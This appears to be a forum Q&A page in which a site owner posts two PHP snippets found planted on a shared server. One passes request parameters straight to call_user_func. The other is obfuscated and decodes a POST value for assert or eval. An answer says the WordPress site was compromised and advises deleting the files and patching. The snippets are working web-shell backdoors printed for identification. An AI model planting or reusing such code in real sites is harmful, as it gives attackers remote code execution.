What is this PHP file that's appeared on my server? [duplicate] - php

Question

This question already has answers here:
wordpress hacked: what does this script actually do?
(2 answers)
Closed 4 years ago.
I have several web sites on a shared server, and have noticed a load of .php files appear in various folders, none of which were put there by me.
I am a .NET developer, so apart from one site which uses WordPress, none of my sites use PHP. Therefore, I can only assume that the server has been accessed, and suspicious files uploaded.
However, with my basic knowledge of PHP, I can't tell what these files are doing. I am hoping some PHP expert can help me.
Here is a sample...
<?php if(key($_GET)=='35')call_user_func($_GET['35'],$_REQUEST['c'],$_REQUEST['d']);
...and another...
<?php
$acnhe="s\x74\x72\x5fr\x65\x70\x6ca\x63e";$admno=$acnhe('f','',"b\x66afsfef6f4f_\x66dfefcfofd\x66e");$acnhe=$admno($acnhe('|','',$_POST['1043f']));$adnmo="\x61ss\145".'rt';#$adnmo($acnhe);#eval($acnhe);
$k=substr("class",2)."ert"; # $k(${"_PO"."ST"} ['335']);
Anyone able to explain what these would do if/when called?

Answer 1

Your wordpress site has been compromised. It's quite common that unpatched security vulnerabilities in WP allow users to inject these kinds of files which end up causing all sorts of trouble to your visitors (by redirecting them to malicious sites, for example).
You can safely delete this file, and you should do it ASAP.
Also, it's time to secure your WP installation (update the core to the latest version) and go through all of WP's core php files and look for similar strings within them (these malicious exploits sometimes allow core WP files to get injected too) and clean them up.